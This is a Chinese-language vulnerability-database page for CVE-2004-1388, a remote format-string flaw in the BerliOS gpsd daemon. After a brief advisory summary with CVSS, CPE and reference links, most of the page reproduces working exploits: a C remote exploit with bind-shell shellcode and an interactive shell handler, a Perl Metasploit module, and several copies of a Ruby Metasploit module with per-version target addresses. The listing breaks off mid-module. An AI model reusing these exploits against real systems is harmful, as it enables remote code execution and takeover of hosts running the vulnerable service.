CVE-2004-1388
CVSS7.5
发布时间 :2004-12-31 00:00:00
修订时间 :2016-10-17 22:53:52
NMCOEP    

[原文]Format string vulnerability in the gpsd_report function for BerliOS GPD daemon (gpsd, formerly pygps) 1.9.0 through 2.7 allows remote attackers to execute arbitrary code via certain GPS requests containing format string specifiers that are not properly handled in syslog calls.


[CNNVD]BerliOS GPD daemon (gpsd, formerly pygps)gpsd_report函数格式化字符串漏洞(CNNVD-200412-161)

        用于BerliOS GPD daemon (gpsd, formerly pygps) 1.9.0至2.7版本的gpsd_report函数存在格式化字符串漏洞。远程攻击者可以借助某个包含不正确处理syslog调用的格式化字符串限定符执行任意代码。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:berlios:gps_daemon:1.26
cpe:/a:berlios:gps_daemon:2.3
cpe:/a:berlios:gps_daemon:2.0
cpe:/a:berlios:gps_daemon:2.2
cpe:/a:berlios:gps_daemon:2.7
cpe:/a:berlios:gps_daemon:2.4
cpe:/a:berlios:gps_daemon:2.1
cpe:/a:berlios:gps_daemon:1.92
cpe:/a:berlios:gps_daemon:1.9.0
cpe:/a:berlios:gps_daemon:1.93
cpe:/a:berlios:gps_daemon:1.91
cpe:/a:berlios:gps_daemon:1.96
cpe:/a:berlios:gps_daemon:1.97
cpe:/a:berlios:gps_daemon:1.94
cpe:/a:berlios:gps_daemon:1.95
cpe:/a:berlios:gps_daemon:1.98
cpe:/a:berlios:gps_daemon:1.25

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1388
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-1388
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200412-161
(官方数据源) CNNVD

- 其它链接及资源

http://lists.berlios.de/pipermail/gpsd-announce/2005-January/000018.html
(PATCH)  MLIST  [Gpsd-announce] 20050127 Announcing release 2.8 of gpsd
http://marc.info/?l=bugtraq&m=110677341711505&w=2
(UNKNOWN)  BUGTRAQ  20050126 DMA[2005-0125a] - 'berlios gpsd format string vulnerability'
http://www.digitalmunition.com/DMA%5B2005-0125a%5D.txt
(UNKNOWN)  MISC  http://www.digitalmunition.com/DMA%5B2005-0125a%5D.txt
http://www.mail-archive.com/debian-bugs-closed@lists.debian.org/msg02103.html
(UNKNOWN)  CONFIRM  http://www.mail-archive.com/debian-bugs-closed@lists.debian.org/msg02103.html
http://xforce.iss.net/xforce/xfdb/19079
(UNKNOWN)  XF  gpsd-format-string(19079)

- 漏洞信息

BerliOS GPD daemon (gpsd, formerly pygps)gpsd_report函数格式化字符串漏洞
高危 格式化字符串
2004-12-31 00:00:00 2005-10-20 00:00:00
远程  
        用于BerliOS GPD daemon (gpsd, formerly pygps) 1.9.0至2.7版本的gpsd_report函数存在格式化字符串漏洞。远程攻击者可以借助某个包含不正确处理syslog调用的格式化字符串限定符执行任意代码。

- 公告与补丁

        

- 漏洞信息 (775)

Berlios gpsd <= 2.7.x Remote Format String Vulnerability (EDBID:775)
linux remote
2005-01-26 Verified
2947 JohnH
N/A [点击下载]
/* Added }, on line 75 /str0ke /*
/** 
 ** Copyright Johnh and KF 2005
 ** 
 ** Gpsd remote format string exploit
 ** By: Johnh[at]digitalmunition[dot]com
 ** Bug Found By: kf[at]digitalmunition[dot]com
 ** http://www.digitalmunition.com/DMA[2005-0125a].txt
 **
 ** Features: Version ident
 **
 ** Debian machines provide uid=gpsd
 ** Redhat machines provide uid=root
 **
 ** Lots of JUMP_SLOT's provided but 
 ** You can get or brute the shellcode 
 ** addresses yourself.
 **/

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <assert.h>
#include <fcntl.h>
#include <sys/time.h>

#define GPSD_PORT 2947

void sh(int st_sock_va);
int new_tcpConnect (char *host, unsigned int port, unsigned int timeout);
int checkZero (long value);
char *putLong (char* ptr, long value);
int own_gpsd(int sock,int iType);
int check_version(int sock);
int exec_shellcode(int sock);
int usage(char *p);


struct
{
    unsigned long  retloc; /* retloc of syslog */
    unsigned long   retaddr;
    char    *szDescription;
}targets[] =
    {

	// Brute the rest of the addresses your self...
	// syslog() , shellcode , version
        {0x0804f250,0x41424344, "gpsd-1.91-1.i386.rpm"}, // .rpms Tested on Redhat 9.0
        {0x0804f630,0x41424344, "gpsd-1.92-1.i386.rpm"},
        {0x0804e154,0x41424344, "gpsd-1.93-1.i386.rpm"},
        {0x0804f260,0x41424344, "gpsd-1.94-1.i386.rpm"},
        {0x0804f268,0x41424344, "gpsd-1.95-1.i386.rpm"},
        {0x41424344,0x41424344, "gpsd-1.96-1.i386.rpm"}, //broken rpm?
        {0x0804b14c,0x41424344, "gpsd-1.97-1.i386.rpm"},
        {0x0804c7a0,0x41424344, "gpsd-2.1-1.i386.rpm"},
        {0x0804c7a0,0x41424344, "gpsd-2.2-1.i386.rpm"},
        {0x0804c730,0xbfffd661, "gpsd-2.3-1.i386.rpm"},
        {0x0804c7b8,0xbfffde71, "gpsd-2.4-1.i386.rpm"},
        {0x0804c7dc,0xbfffdc09, "gpsd-2.5-1.i386.rpm"},
        {0x0804c730,0xbffff100, "gpsd-2.6-1.i386.rpm"},
        {0x0804c5bc,0xbfffcabc, "gpsd-2.7-1.i386.rpm"},
        {0x0804c7c4,0xbfffedc8, "gpsd_2.6-1_i386.deb"}, // .debs Tested on Debian GNU/Linux 3.1
        {0x0804c6c4,0xbfffc818, "gpsd_2.7-1_i386.deb"},
        {0x0804c770,0xbfffee70, "gpsd_2.7-2_i386.deb"},
	{0x0804c818,0xbfffe148, "SuSE 9.1 compiled 2.0"}, //compiled binary on local box for debug
        {0x0804b164,0xbfffd7d6, "Slackware 9.0 compiled 2.0"},
        {0x0804c3ec,0xbfffe65c, "Slackware 9.0 compiled 2.7  "}, 
        {0x41424344,0xdeadbeef, "Debug              "}, 

    },v;



int             iType;

char shellcode[]=
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x16\x81\x73\x17\x13\x99"
"\x37\xe2\x83\xeb\xfc\xe2\xf4\x22\x42\xc0\x01\xa3\xff\x64\xa1\x40"
"\xda\x64\x6b\xf2\xd2\xfa\x62\x9a\x5e\x65\x84\x7b\x8c\xf5\xa1\x75"
"\xca\xbe\x03\xa3\x89\x67\xb3\x44\x10\xd6\x52\x75\x54\xb7\x52\x75"
"\x2a\x33\x2f\x93\xc9\x67\xb5\x9a\x78\x74\x52\x75\x54\xb7\x6b\xca"
"\x10\xf4\x52\x2c\xd0\xfa\x62\x52\x7b\xcf\xb3\x7b\xf7\x18\x91\x7b"
"\xf1\x18\xcd\x71\xf0\xbe\x01\x42\xca\xbe\x03\xa3\x92\xfa\x62";



//thanks sam
int new_tcpConnect (char *host, unsigned int port, unsigned int timeout)
{
    int                     sock,
    flag,
    pe = 0;
    size_t                  pe_len;
    struct timeval          tv;
    struct sockaddr_in      addr;
    struct hostent*         hp = NULL;
    fd_set                  rset;

    // reslov hosts
    hp = gethostbyname (host);
    if (NULL == hp) {
        perror ("tcpConnect:gethostbyname\n");
        return -1;
    }

    sock = socket (AF_INET, SOCK_STREAM, 0);
    if (-1 == sock) {
        perror ("tcpConnect:socket\n");
        return -1;
    }

    addr.sin_addr = *(struct in_addr *) hp->h_addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons (port);

    /* set socket no block
    */
    flag = fcntl (sock, F_GETFL);
    if (-1 == flag) {
        perror ("tcpConnect:fcntl\n");
        close (sock);
        return -1;
    }
    flag |= O_NONBLOCK;
    if (fcntl (sock, F_SETFL, flag) < 0) {
        perror ("tcpConnect:fcntl\n");
        close (sock);
        return -1;
    }

    if (connect (sock, (const struct sockaddr *) &addr,
                 sizeof(addr)) < 0 &&
            errno != EINPROGRESS) {
        perror ("tcpConnect:connect\n");
        close (sock);
        return -1;
    }

    /* set connect timeout
     * use millisecond
     */
    tv.tv_sec = timeout/1000;
    tv.tv_usec = timeout%1000;
    FD_ZERO (&rset);
    FD_SET (sock, &rset);

    if (select (sock+1, &rset, &rset, NULL, &tv) <= 0) {
        //                perror ("tcpConnect:select");
        close (sock);
        return -1;
    }

    pe_len = sizeof (pe);

    if (getsockopt (sock, SOL_SOCKET, SO_ERROR, &pe, &pe_len) < 0) {
        perror ("tcpConnect:getsockopt\n");
        close (sock);
        return -1;
    }

    if (pe != 0) {
        errno = pe;
        close (sock);
        return -1;
    }

    if (fcntl(sock, F_SETFL, flag&~O_NONBLOCK) < 0) {
        perror ("tcpConnect:fcntl\n");
        close (sock);
        return -1;
    }

    pe = 1;
    pe_len = sizeof (pe);

    if (setsockopt (sock, IPPROTO_TCP, TCP_NODELAY, &pe, pe_len) < 0){
        perror ("tcpConnect:setsockopt\n");
        close (sock);
        return -1;
    }
    return sock;
}


void sh(int st_sock_va)
{
    int died;
    char *command="uname -a; id; export TERM=vt100; exec bash -i\n";
    char readbuf[1024];
    fd_set rset;
    memset((char *)readbuf,0,sizeof(readbuf));
    fprintf(stdout,"[*] Executed shell successfully !\n\n");
    send(st_sock_va,command,strlen(command),0);

    for(;;)
    {
        fflush(stdout);
        FD_ZERO(&rset);
        FD_SET(st_sock_va,&rset);
        FD_SET(STDIN_FILENO,&rset);
        select(st_sock_va+1,&rset,NULL,NULL,NULL);

        if(FD_ISSET(st_sock_va,&rset))
        {
            died=read(st_sock_va,readbuf,sizeof(readbuf)-1);
            if(died<=0)
                exit(0);
            readbuf[died]=0;
            fprintf(stdout,"%s",readbuf);
        }
        if(FD_ISSET(STDIN_FILENO,&rset))
        {
            died=read(STDIN_FILENO,readbuf,sizeof(readbuf)-1);
            if(died>0)
            {
                readbuf[died]=0;
                write(st_sock_va,readbuf,died);
            }
        }
    }
    return;
}




/*
 *check the \x00 byte
 */
int checkZero (long value)
{
    return !((value & 0x00ffffff) &&
             (value & 0xff00ffff) &&
             (value & 0xffff00ff) &&
             (value & 0xffffff00));

}
/*
 * put a address in mem, for little-endian
 *
 */
char*
putLong (char* ptr, long value)
{
    *ptr++ = (char) (value >> 0) & 0xff;
    *ptr++ = (char) (value >> 8) & 0xff;
    *ptr++ = (char) (value >> 16) & 0xff;
    *ptr++ = (char) (value >> 24) & 0xff;

    return ptr;
}


int main (int argc, char **argv)
{
    int     c, sock, ret;
    char    *hostName = NULL;

    if (argc < 3) {
        usage (argv[0]);
        return -1;
    }

    while((c = getopt(argc, argv, "h:t:")) != EOF) {
        switch(c) {
        case 'h':
            hostName = optarg;
            break;
        case 't':
            iType = atoi (optarg);
            break;
        default:
            usage (argv[0]);
            return 0;
        }
    }

if (argc < 2) { usage(argv[0]); exit(1); }

    if( (iType<0) || (iType>=sizeof(targets)/sizeof(v)) )
    {
        usage(argv[0]);
        printf("[-] Invalid type.\n");
        return 0;
    }

    printf ("# remote host %s. \n", hostName);

    sock = new_tcpConnect (hostName, GPSD_PORT, 9000);
    printf("Checking Remote version\n");
    check_version(sock);

    own_gpsd (sock,iType);
    close(sock);
    sock = new_tcpConnect (hostName, GPSD_PORT, 9000);
    printf("[+] Trying to exec shellcode on remote\n");
    exec_shellcode(sock);
    printf("[-] Waiting 5 seconds to connect to remote shell\n");
    sleep (5);
    if ((ret = new_tcpConnect (hostName, 5570, 9000)) < 0) {
        fprintf (stderr, "[-] failed :< \n");
        goto out;
    }

    printf ("[+] yes! \n");

    sh (ret);
out:
    close (ret);
    return 0;
}


int own_gpsd(int sock,int iType)
{
    int offset = 0x11;
    int dump_fmt=7;
    int al = 3;
    int hi,lo;
    int x;
    int ret;
    unsigned long shift0,shift1;
    char    buf[90000];
    char    fun[256];
    char *ptr;


    /* check zero byte */
    if (checkZero (targets[iType].retloc) || checkZero (targets[iType].retloc+2) ) {
        printf ("retloc has a null; <\n");
        exit (1);
    }

    hi = (targets[iType].retaddr >> 0) & 0xffff;
    lo = (targets[iType].retaddr >> 16) & 0xffff;


    shift0 = hi - offset - (dump_fmt * 8 + 16 + al);
    shift1 = (0x10000 +  lo) - hi;

    memset(buf,0x41,3);
    ptr = buf+3;
    ptr = putLong (ptr, 0x42424242);
    ptr = putLong (ptr, targets[iType].retloc);
    ptr = putLong (ptr, 0x42424242);
    ptr = putLong (ptr, targets[iType].retloc+2);

    for (x=0;x<dump_fmt;x++)
        strcat(ptr,"%.8x");

    strcat(ptr,"%.");
    sprintf(ptr+strlen(ptr),"%u",shift0);
    strcat(ptr,"lx%hn");

    strcat(ptr,"%.");
    sprintf(ptr+strlen(ptr),"%u",shift1);
    strcat(ptr,"lx%hn");
    x = strlen(ptr);
    memset(ptr+x,0x90,3000);
    x+=3000;
    memcpy(ptr+x,shellcode,337);
    x+=337;

    printf ("# send exploit data. \n");
    sleep(1);
    ret = send (sock, buf, x, 0);
    printf ("[*] data sent %d bytes .\n", x);
    memcpy(fun,"l\n",2);
    ret = send (sock, fun, 2, 0);
    printf ("[*] data sent %d bytes .\n", ret);
    
    return 0;
}

//Had to connect to remote and send a string to make shellcode execute. No idea why. but it works so :)
int exec_shellcode(int sock) {
    int ret;
    char    fun[256];

    memcpy(fun,"l\n",2);
    ret = send (sock, fun, 2, 0);
    printf ("[*] data sent %d bytes .\n", ret);

    return 0;
}

//Check remote version of gpsd. You may ask why because all verions are vuln but who knows :)
//When the vendor changes the code you can change this to detect a vuln/non vuln version
int check_version(int sock) {
        char *version;
        char buf_ver[256];
        char recv_buf[256];
        int ret;

        memcpy(buf_ver,"l\n",2);
        ret = send (sock, buf_ver, 2, 0);
        ret = recv(sock,recv_buf,sizeof(recv_buf),0);
        version  =  strtok(recv_buf," ");
        version = strtok(NULL," ");
        printf("GPSD VERSION: %s\n",version);

}


int usage(char *p)


{
    int     i;
    printf( "Gpsd <= 2.7 remote formatstring exploit\r\nBy: johnh@secnetops.com\r\n");

    printf( "Usage: %s <-h host> <-t target>\n"
            "[type]\t[Description]\t\t\t[Retloc]\n", p);
    for(i=0;i<sizeof(targets)/sizeof(v);i++)
    {
        printf("%d\t%s\t\t0x%08lx\n", i, targets[i].szDescription,targets[i].retloc);
    }
    return 0;
}

// milw0rm.com [2005-01-26]
		

- 漏洞信息 (3099)

Berlios GPSD <= 2.7 Remote Format String Exploit (meta) (EDBID:3099)
linux remote
2007-01-08 Verified
2947 Enseirb
N/A [点击下载]
package Msf::Exploit::gpsd_format_string;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use IO::Socket;

my $advanced = { };

my $info = {
    'Name'     => 'Berlios GPSD Format String Vulnerability',
    'Version'  => '$ 1.0 $',
    'Authors'  => [ 'Enseirb <senotier [at] enseirb.fr>', ],
    'Arch'     => [ 'x86' ],
    'OS'       => [ 'linux' ],
    'Priv'     => 1,
    
    'UserOpts' =>
    {
	'RHOST' => [1, 'ADDR', 'The target address'],
	'RPORT' => [1, 'PORT', 'The target port', 2947],
		
    },
    
    'Payload' =>
    {
	'Space'    => 1004,
	'BadChars' => "\x00\x0a\x0d\x0c",
    },
    
    'Targets' =>
	
	[
	 [ "gpsd-1.91-1.i386.rpm", 0x0804f250,0x41424344 ], # .rpms Tested on Redhat 9.0
	 [ "gpsd-1.92-1.i386.rpm", 0x0804f630,0x41424344 ],
	 [ "gpsd-1.93-1.i386.rpm", 0x0804e154,0x41424344 ],
	 [ "gpsd-1.94-1.i386.rpm", 0x0804f260,0x41424344 ],
	 [ "gpsd-1.95-1.i386.rpm", 0x0804f268,0x41424344 ],
	 [ "gpsd-1.96-1.i386.rpm", 0x41424344,0x41424344 ],
	 [ "gpsd-1.97-1.i386.rpm", 0x0804b14c,0x41424344 ],
	 [ "gpsd-2.1-1.i386.rpm", 0x0804c7a0,0x41424344 ],
	 [ "gpsd-2.2-1.i386.rpm", 0x0804c7a0,0x41424344 ],
	 [ "gpsd-2.3-1.i386.rpm", 0x0804c730,0xbfffd661 ],
	 [ "gpsd-2.4-1.i386.rpm", 0x0804c7b8,0xbfffde71 ],
	 [ "gpsd-2.5-1.i386.rpm", 0x0804c7dc,0xbfffdc09 ],
	 [ "gpsd-2.6-1.i386.rpm", 0x0804c730,0xbffff100 ],
	 [ "gpsd-2.7-1.i386.rpm", 0x0804c5bc,0xbfffcabc ],
	 [ "gpsd_2.6-1_i386.deb", 0x0804c7c4,0xbfffedc8 ], 
	 [ "gpsd_2.7-1_i386.deb", 0x0804c6c4,0xbfffc818 ],
	 [ "gpsd_2.7-2_i386.deb", 0x0804c770,0xbfffee70 ],
	 ["SuSE 9.1 compiled 2.0", 0x0804c818,0xbfffe148 ], 
	 [ "Slackware 9.0 compiled 2.0", 0x0804b164,0xbfffd7d6 ],
	 [ "Slackware 9.0 compiled 2.7  ", 0x0804c3ec,0xbfffe65c ], 
	 [ "Debug              ", 0x41424344,0xdeadbeef ], 
	 ],


    'Description' =>
	Pex::Text::Freeform(qq{
	    This module exploits a format string vulnerability in the Berlios GPSD server.
		This vulnerability was discovered by Kevin Finisterre.
	    }),
		
    'Keys' => ['gpsd'],
		
		'DisclosureDate' => 'May 25 2005',
		
	    };

sub new {
    my $class = shift;
    my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
    return($self);
}

sub Exploit {
    my $self = shift;
    my $target_idx  = $self->GetVar('TARGET');
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');
    my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
    my $target = $self->Targets->[$target_idx];
    
    $self->Print("[*] Reading information from target " . $target_host . ": ");
        
    my $offset = 17;
    my $dump_fmt = 7;
    my $al = 3;
    my ($hi,$lo);
    my ($shift0,$shift1);
    my $buf;
    
    $hi = ($target->[2] >> 0) & 0xffff;
    $lo = ($target->[2] >> 16) & 0xffff;

    $shift0 = sprintf("%d",$hi) - sprintf("%d",$offset) - ($dump_fmt * 8 + 16 + $al);
    $shift1 = (sprintf("%d",0x10000) +  sprintf("%d",$lo)) - sprintf("%d",$hi);

    $buf  = "A" x 3 . "B" x 4; 
    $buf .=  pack('V',$target->[1]);
    $buf .= "B" x 4;
    $buf .=  pack('V',$target->[1] + 0x2);
    $buf .= "%.8x" x7 ."%.".$shift0."lx%hn"."%.".$shift1."lx%hn";
    $buf .= $self->MakeNops(3000) . $shellcode ; 
    
    my $s = Msf::Socket::Tcp->new
	(
	 'PeerAddr'  => $target_host,
	 'PeerPort'  => $target_port,
	 );
    
    if ($s->IsError) {
	$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
	return;
    }
    
    $s->Send($buf);
    $s->Close();

	return;
}

1;

# milw0rm.com [2007-01-08]
		

- 漏洞信息 (10029)

Berlios GPSD 1.91-1 - 2.7-2 Format String Vulnerability (EDBID:10029)
linux remote
2005-05-25 Verified
2947 Yann Senotier
N/A [点击下载]
require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Berlios GPSD Format String Vulnerability',
			'Description'    => %q{
				This module exploits a format string vulnerability in the Berlios GPSD server.
				This vulnerability was discovered by Kevin Finisterre.
					
			},
			'Author'         => [ 'Yann Senotier <yann.senotier [at] cyber-networks.fr>' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$ Revision: 1.0 $',
			'References'     =>
				[
					[ 'CVE', '2004-1388' ],
					[ 'OSVDB', '13199' ],
					[ 'BID', '12371' ],
					[ 'URL', 'http://www.securiteam.com/unixfocus/5LP0M1PEKK.html'],

				],
			'Platform'       => 'linux',
			'Arch'           => ARCH_X86,
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 1004,
					'BadChars' => "\x00\x0a\x0d\x0c",

				},
			'Targets'        => 
				[
				
				[ 'gpsd-1.91-1.i386.rpm', { 'Syslog' => 0x0804f250, 'Ret' => 0x41424344 }, ], 
				[ 'gpsd-1.92-1.i386.rpm', { 'Syslog' => 0x0804f630, 'Ret' => 0x41424344 }, ],
				[ 'gpsd-1.93-1.i386.rpm', { 'Syslog' => 0x0804e154, 'Ret' => 0x41424344 }, ],
				[ 'gpsd-1.94-1.i386.rpm', { 'Syslog' => 0x0804f260, 'Ret' => 0x41424344 }, ],
				[ 'gpsd-1.95-1.i386.rpm', { 'Syslog' => 0x0804f268, 'Ret' => 0x41424344 }, ],
				[ 'gpsd-1.96-1.i386.rpm', { 'Syslog' => 0x41424344, 'Ret' => 0x41424344 }, ],
				[ 'gpsd-1.97-1.i386.rpm', { 'Syslog' => 0x0804b14c, 'Ret' => 0x41424344 }, ],
				[ 'gpsd-2.1-1.i386.rpm', { 'Syslog' => 0x0804c7a0, 'Ret' => 0x41424344 }, ],
				[ 'gpsd-2.2-1.i386.rpm', { 'Syslog' => 0x0804c7a0, 'Ret' => 0x41424344 }, ],
				[ 'gpsd-2.3-1.i386.rpm', { 'Syslog' => 0x0804c730, 'Ret' => 0xbfffd661 }, ],
				[ 'gpsd-2.4-1.i386.rpm', { 'Syslog' => 0x0804c7b8, 'Ret' => 0xbfffde71 }, ],
				[ 'gpsd-2.5-1.i386.rpm', { 'Syslog' => 0x0804c7dc, 'Ret' => 0xbfffdc09 }, ],
				[ 'gpsd-2.6-1.i386.rpm', { 'Syslog' => 0x0804c730, 'Ret' => 0xbffff100 }, ],
				[ 'gpsd-2.7-1.i386.rpm', { 'Syslog' => 0x0804c5bc, 'Ret' => 0xbfffcabc }, ],
				[ 'gpsd_2.6-1_i386.deb', { 'Syslog' => 0x0804c7c4, 'Ret' => 0xbfffedc8 }, ], 
				[ 'gpsd_2.7-1_i386.deb', { 'Syslog' => 0x0804c6c4, 'Ret' => 0xbfffc818 }, ],
				[ 'gpsd_2.7-2_i386.deb', { 'Syslog' => 0x0804c770, 'Ret' => 0xbfffee70 }, ],
				[ 'SuSE 9.1 compiled 2.0', { 'Syslog' => 0x0804c818, 'Ret' => 0xbfffe148 }, ], 
				[ 'Slackware 9.0 compiled 2.0', { 'Syslog' => 0x0804b164, 'Ret' => 0xbfffd7d6 }, ],
				[ 'Slackware 9.0 compiled 2.7', { 'Syslog' => 0x0804c3ec, 'Ret' => 0xbfffe65c }, ], 
				[ 'Debug              ', { 'Syslog' => 0x41424344, 'Ret' => 0xdeadbeef }, ], 

				],
			'DisclosureDate' => 'May 25 2005'))
			
			register_options( [ Opt::RPORT(2947) ], self.class )
	end

	def exploit
		connect

		print_status("Trying target #{target.name}...")
		
		offset = 17
		dump_fmt = 7
		al = 3
    
		hi = (target.ret >> 0) & 0xffff
		lo = (target.ret >> 16) & 0xffff
	
		shift0 = sprintf("%d",hi) - sprintf("%d",offset) - (dump_fmt * 8 + 16 + al)
		shift1 = (sprintf("%d",0x10000) +  sprintf("%d",lo)) - sprintf("%d",hi)
	
		buf  = "A" * 3 + "B" * 4
		buf +=  [ target['Syslog']].pack('V')
		buf += "B" * 4
		buf +=  [ target['Syslog'] + 0x2].pack('V')
		buf += "%.8x" * 7 + "%." + shift0 + "lx%hn" + "%." + shift1 + "lx%hn"
		buf += make_nops(3000) + payload.encoded

		sock.put(buf)
		
		handler
		disconnect
	end

end
		

- 漏洞信息 (16853)

Berlios GPSD Format String Vulnerability (EDBID:16853)
linux remote
2010-04-30 Verified
0 metasploit
N/A [点击下载]
##
# $Id: gpsd_format_string.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Berlios GPSD Format String Vulnerability',
			'Description'    => %q{
					This module exploits a format string vulnerability in the Berlios GPSD server.
				This vulnerability was discovered by Kevin Finisterre.
			},
			'Author'         => [ 'Yann Senotier <yann.senotier [at] cyber-networks.fr>' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					[ 'CVE', '2004-1388' ],
					[ 'OSVDB', '13199' ],
					[ 'BID', '12371' ],
					[ 'URL', 'http://www.securiteam.com/unixfocus/5LP0M1PEKK.html'],

				],
			'Platform'       => 'linux',
			'Arch'           => ARCH_X86,
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 1004,
					'BadChars' => "\x00\x0a\x0d\x0c",

				},
			'Targets'        =>
				[
					[ 'gpsd-1.91-1.i386.rpm', { 'Syslog' => 0x0804f250, 'Ret' => 0x41424344 }, ],
					[ 'gpsd-1.92-1.i386.rpm', { 'Syslog' => 0x0804f630, 'Ret' => 0x41424344 }, ],
					[ 'gpsd-1.93-1.i386.rpm', { 'Syslog' => 0x0804e154, 'Ret' => 0x41424344 }, ],
					[ 'gpsd-1.94-1.i386.rpm', { 'Syslog' => 0x0804f260, 'Ret' => 0x41424344 }, ],
					[ 'gpsd-1.95-1.i386.rpm', { 'Syslog' => 0x0804f268, 'Ret' => 0x41424344 }, ],
					[ 'gpsd-1.96-1.i386.rpm', { 'Syslog' => 0x41424344, 'Ret' => 0x41424344 }, ],
					[ 'gpsd-1.97-1.i386.rpm', { 'Syslog' => 0x0804b14c, 'Ret' => 0x41424344 }, ],
					[ 'gpsd-2.1-1.i386.rpm', { 'Syslog' => 0x0804c7a0, 'Ret' => 0x41424344 }, ],
					[ 'gpsd-2.2-1.i386.rpm', { 'Syslog' => 0x0804c7a0, 'Ret' => 0x41424344 }, ],
					[ 'gpsd-2.3-1.i386.rpm', { 'Syslog' => 0x0804c730, 'Ret' => 0xbfffd661 }, ],
					[ 'gpsd-2.4-1.i386.rpm', { 'Syslog' => 0x0804c7b8, 'Ret' => 0xbfffde71 }, ],
					[ 'gpsd-2.5-1.i386.rpm', { 'Syslog' => 0x0804c7dc, 'Ret' => 0xbfffdc09 }, ],
					[ 'gpsd-2.6-1.i386.rpm', { 'Syslog' => 0x0804c730, 'Ret' => 0xbffff100 }, ],
					[ 'gpsd-2.7-1.i386.rpm', { 'Syslog' => 0x0804c5bc, 'Ret' => 0xbfffcabc }, ],
					[ 'gpsd_2.6-1_i386.deb', { 'Syslog' => 0x0804c7c4, 'Ret' => 0xbfffedc8 }, ],
					[ 'gpsd_2.7-1_i386.deb', { 'Syslog' => 0x0804c6c4, 'Ret' => 0xbfffc818 }, ],
					[ 'gpsd_2.7-2_i386.deb', { 'Syslog' => 0x0804c770, 'Ret' => 0xbfffee70 }, ],
					[ 'SuSE 9.1 compiled 2.0', { 'Syslog' => 0x0804c818, 'Ret' => 0xbfffe148 }, ],
					[ 'Slackware 9.0 compiled 2.0', { 'Syslog' => 0x0804b164, 'Ret' => 0xbfffd7d6 }, ],
					[ 'Slackware 9.0 compiled 2.7', { 'Syslog' => 0x0804c3ec, 'Ret' => 0xbfffe65c }, ],
					[ 'Debug              ', { 'Syslog' => 0x41424344, 'Ret' => 0xdeadbeef }, ],
				],
			'DisclosureDate' => 'May 25 2005'))

		register_options(
			[
				Opt::RPORT(2947)
			], self.class)
	end

	def exploit
		connect

		print_status("Trying target #{target.name}...")

		offset = 17
		dump_fmt = 7
		al = 3

		hi = (target.ret >> 0) & 0xffff
		lo = (target.ret >> 16) & 0xffff

		shift0 = sprintf("%d",hi) - sprintf("%d",offset) - (dump_fmt * 8 + 16 + al)
		shift1 = (sprintf("%d",0x10000) +  sprintf("%d",lo)) - sprintf("%d",hi)

		buf  = "A" * 3 + "B" * 4
		buf +=  [ target['Syslog']].pack('V')
		buf += "B" * 4
		buf +=  [ target['Syslog'] + 0x2].pack('V')
		buf += "%.8x" * 7 + "%." + shift0 + "lx%hn" + "%." + shift1 + "lx%hn"
		buf += make_nops(3000) + payload.encoded

		sock.put(buf)

		handler
		disconnect
	end

end
		

- 漏洞信息 (F82236)

Berlios GPSD Format String Vulnerability (PacketStormID:F82236)
2009-10-27 00:00:00
Yann Senotier  
exploit
CVE-2004-1388
[点击下载]

This Metasploit module exploits a format string vulnerability in the Berlios GPSD server. This vulnerability was discovered by Kevin Finisterre.

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Berlios GPSD Format String Vulnerability',
			'Description'    => %q{
				This module exploits a format string vulnerability in the Berlios GPSD server.
				This vulnerability was discovered by Kevin Finisterre.
					
			},
			'Author'         => [ 'Yann Senotier <yann.senotier [at] cyber-networks.fr>' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$ Revision: 1.0 $',
			'References'     =>
				[
					[ 'CVE', '2004-1388' ],
					[ 'OSVDB', '13199' ],
					[ 'BID', '12371' ],
					[ 'URL', 'http://www.securiteam.com/unixfocus/5LP0M1PEKK.html'],

				],
			'Platform'       => 'linux',
			'Arch'           => ARCH_X86,
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 1004,
					'BadChars' => "\x00\x0a\x0d\x0c",

				},
			'Targets'        => 
				[
				
				[ 'gpsd-1.91-1.i386.rpm', { 'Syslog' => 0x0804f250, 'Ret' => 0x41424344 }, ], 
				[ 'gpsd-1.92-1.i386.rpm', { 'Syslog' => 0x0804f630, 'Ret' => 0x41424344 }, ],
				[ 'gpsd-1.93-1.i386.rpm', { 'Syslog' => 0x0804e154, 'Ret' => 0x41424344 }, ],
